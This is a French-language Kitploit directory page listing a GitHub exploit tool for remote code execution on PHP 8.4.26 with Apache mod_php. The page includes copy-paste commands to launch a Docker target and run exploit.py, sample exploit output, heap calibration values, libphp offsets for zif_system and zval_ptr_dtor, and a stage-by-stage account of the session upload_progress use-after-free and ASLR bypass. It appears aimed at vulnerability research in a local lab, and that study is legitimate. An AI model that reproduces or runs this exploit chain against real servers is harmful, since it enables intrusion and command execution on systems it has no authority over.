Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
php2shell-bypass-aslr-exp — Exploit purement HTTP permettant une RCE sur PHP 8.4.26 + Apache mod_php via une fuite de tas session upload_progress, une réutilisation de pointeur pendant et un contournement de l'ASLR pour appeler zif_system. | Kitploit
Outils/GitHubGitHub/9bie/php2shell-bypass-aslr-exp
Criminalistique MémoireAnalyse des VulnérabilitésExploitationExploitation d'Applications WebArticles et RechercheOutil d'Accès à DistanceExploitation de Binaires
GitHub9bie/php2shell-bypass-aslr-exp

php2shell-bypass-aslr-exp

Exploit purement HTTP permettant une RCE sur PHP 8.4.26 + Apache mod_php via une fuite de tas session upload_progress, une réutilisation de pointeur pendant et un contournement de l'ASLR pour appeler zif_system.

Voir le dépôt
661244241il y a 1 jourPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

php2shell — Reproduction de la vulnérabilité de session PHP 8.4.26

中文 | English

Sous les contraintes « entièrement distant, uniquement HTTP, page cible sans session_start(), sans écrire aucun PHP côté cible », obtenir une RCE sur PHP 8.4.26 + Apache prefork + mod_php avec un seul exploit.py. L'image officielle php:8.4.26-apache a été testée avec succès 3/3 en une seule commande (PROOF: uid=33(www-data)...). La version actuelle exige display_errors=1 ; avec display_errors=0, la fuite de tas en pur HTTP a été obtenue, la RCE complète sera soumise ultérieurement.

exp

Voici les commandes complètes, de zéro à la RCE ; il suffit de copier-coller l'ensemble pour l'exécuter. Ce dépôt ne compile ni PHP ni Apache, il n'y a pas de docker build : l'environnement est simplement l'image officielle php:8.4.26-apache avec les configurations montées depuis docker/.

# 依赖:Docker Engine/Desktop + Docker Compose v2 + Python 3.9+
git clone https://github.com/9bie/php2shell-bypass-aslr-exp.git
cd php2shell-bypass-aslr-exp

# 1) 拉官方镜像(PHP 8.4.26 / Debian 12 / Apache prefork)
docker compose -f docker/docker-compose.yml pull

# 2) 起目标:单 worker、display_errors=On、memory_limit=8M
docker compose -f docker/docker-compose.yml up -d

# 3) 等 Apache 就绪并确认普通页面
for i in $(seq 1 20); do
  curl -fsS http://127.0.0.1:8088/index.php >/dev/null 2>&1 && break
  sleep 0.5
done
curl -s http://127.0.0.1:8088/index.php   # OK

# 4) 一条命令完成整个利用;首次运行会自动读取 libphp 偏移
python3 exploit.py -u http://127.0.0.1:8088/index.php
# PROOF: uid=33(www-data) gid=33(www-data) groups=33(www-data)

Si vous êtes déjà dans le répertoire du dépôt, ignorez git clone/cd ; pull peut aussi être omis, up -d récupérera automatiquement l'image.

exploit.py effectue automatiquement la rotation des workers, la fuite en deux phases, l'exécution de zif_system et la lecture de la preuve, avec des tentatives de nouvelle exécution intégrées à chaque phase. Environnement d'exécution :

ComposantVersionSource
PHP8.4.26 (NTS, mod_php)php:8.4.26-apache
Système de baseDebian 12 (bookworm)Idem ci-dessus
Apache2.4.69 (paquet Debian 12 dans l'image officielle, mesuré)Idem ci-dessus
MPMprefork, un seul workerdocker/apache.conf
Apache dans le rapport lab2.4.68 (compilé à l'origine par le lab, --profile lab)Pour une correspondance exacte, utiliser le tag 2.4.68 de apache/httpd

Dépôt d'images officiel : docker-library/php (Docker Hub : php:8.4.26-apache) ; code source PHP : php/php-src (tag php-8.4.26).

Lors de la première exécution, docker/offsets.py est exécuté automatiquement : il lit les offsets réels de zif_system / zval_ptr_dtor depuis libphp.so dans le conteneur et les écrit dans out/offsets.env, que exploit.py charge automatiquement ; il n'est donc pas nécessaire de modifier manuellement les offsets après un changement d'image officielle ou une mise à niveau. La commande par défaut est id>/out/p1 (10 octets) ; le /out du conteneur est monté sur le ./out du dépôt, et la preuve est déposée directement sur la machine locale :

[*] target http://127.0.0.1:8088/index.php (cmd='id>/out/p1')
[*] no offsets file; reading libphp symbols from container php2shell-target
zif_system     0x...
zval_ptr_dtor  0x...
[+] chunk base = 0x...
[+] libphp base = 0x...
[*] stage 3: HTDATA=0x... ZIF=0x...
PROOF: uid=33(www-data) gid=33(www-data) groups=33(www-data)

La limite de commande dans le payload est de 14 octets. Pour exécuter une commande arbitraire, écrivez le script dans le répertoire monté, puis exécutez-le avec sh</out/c (8 octets) :

printf 'id; uname -a > /out/p1\n' > out/c
python3 exploit.py -u http://127.0.0.1:8088/index.php -c 'sh</out/c'

Paramètres courants : --profile, --cmd, --proof-file, --fetch, --zif-offset, --dtor-offset, --htdata-offset, --no-pre-rotate, --retries. Le profil par défaut est bookworm (image officielle) ; la construction originale du lab utilisait --profile lab. --offsets-file '' permet de désactiver la lecture automatique ; lorsque le nom du conteneur n'est pas php2shell-target, utilisez --docker-container pour le spécifier.

Le calibrage du tas pour bookworm est intégré : nombre de fillers de stage1 841 ; tableau cible de stage2 406, longueur de la valeur des éléments 16 ; stage3 HTDATA=chunk+0x690d8, le pad de A est 6×(31,31), et comporte en plus un Cookie: PHPSESSID valide de 32 caractères, ce qui permet à B de réutiliser le stale id (send_cookie=0), évitant que l'en-tête Set-Cookie de la session n'écrase val.type à R0+16 ; B utilise un carrier de 15B pour écraser val.value de la référence. Les offsets de libphp de l'image officielle sont lus automatiquement comme zif_system=0x465370, zval_ptr_dtor=0x65eb60 ; le lab original utilisait 0x43a870 / 0x613c50.

Aperçu du mécanisme

La surface de vulnérabilité est l'initialisation de session déclenchée par session.upload_progress avant le RINIT, ainsi que le pointeur suspendu résiduel entre requêtes après le bailout OOM. Ci-dessous, on prend la construction lab comme exemple ; les valeurs calibrées bookworm de l'image officielle se trouvent à la fin de l'exp.

Le trafic d'attaque de toute la chaîne est constitué uniquement de requêtes HTTP multipart ordinaires, et la page cible ne contient que <?php echo "OK\n"; ?> :

  1. Rotation des workers : après A_bigfields (champ POST vivant de 3 Mo + OOM de 12 Mo) vient immédiatement un B qui initialise une session, le child se termine par SIGABRT ; le nouveau worker issu du fork du prefork hérite des mêmes mappings libphp/chunk.

  2. Fuite de tas : A déclenche l'avertissement max_input_vars avec 1001 champs (display_errors=On → headers_sent=1), PHPSESSID=\x00 génère un nouvel id et met send_cookie=1, le dernier champ de 12 Mo provoque un OOM dans php_session_initialize(), PS(http_session_vars) devient suspendu. B réoccupe l'ancienne référence avec un buffer de valeur brute multipart de 56 o, et porte une fake HashTable avec la zend_string vivante de 192 o ; la lecture hors limites de php_url_encode() écrit le pointeur de chunk Zend MM dans Set-Cookie (4096 o, 98 pointeurs).

  3. Fuite libphp : A place le PS(id) suspendu à chunk+0xb7400 ; la page HashTable de 56 o de B fait lire ZSTR_LEN(PS(id)) comme nTableSize=16, la zone de données est exactement nNextFreeElement|pDestructor ; pDestructor = ZVAL_PTR_DTOR = libphp+0x613c50, on extrait la base libphp depuis Set-Cookie.

  4. Exécution de commandes : A fixe la référence suspendue à R0=chunk+0x24e0 avec 6 pads ; B écrase R0-0x10 avec un raw buffer de 55 o, la fake HashTable est placée dans la chaîne vivante de 167 o à chunk+0x6e0d8, pDestructor = zif_system = libphp+0x43a870. Chaîne de déclenchement :

    php_session_track_init()
      zval_ptr_dtor(PS(http_session_vars))
        zend_reference_destroy(R0)
          zval_ptr_dtor(&ref->val)          # IS_ARRAY_EX
            zend_array_destroy(fake HT)
              zend_hash_destroy(fake HT)
                pDestructor(&bucket->val)   # zif_system
    

    Le terminal n'utilise que zif_system dans libphp, sans avoir besoin de libc.

Analyse du mécanisme

Télécharger l’outil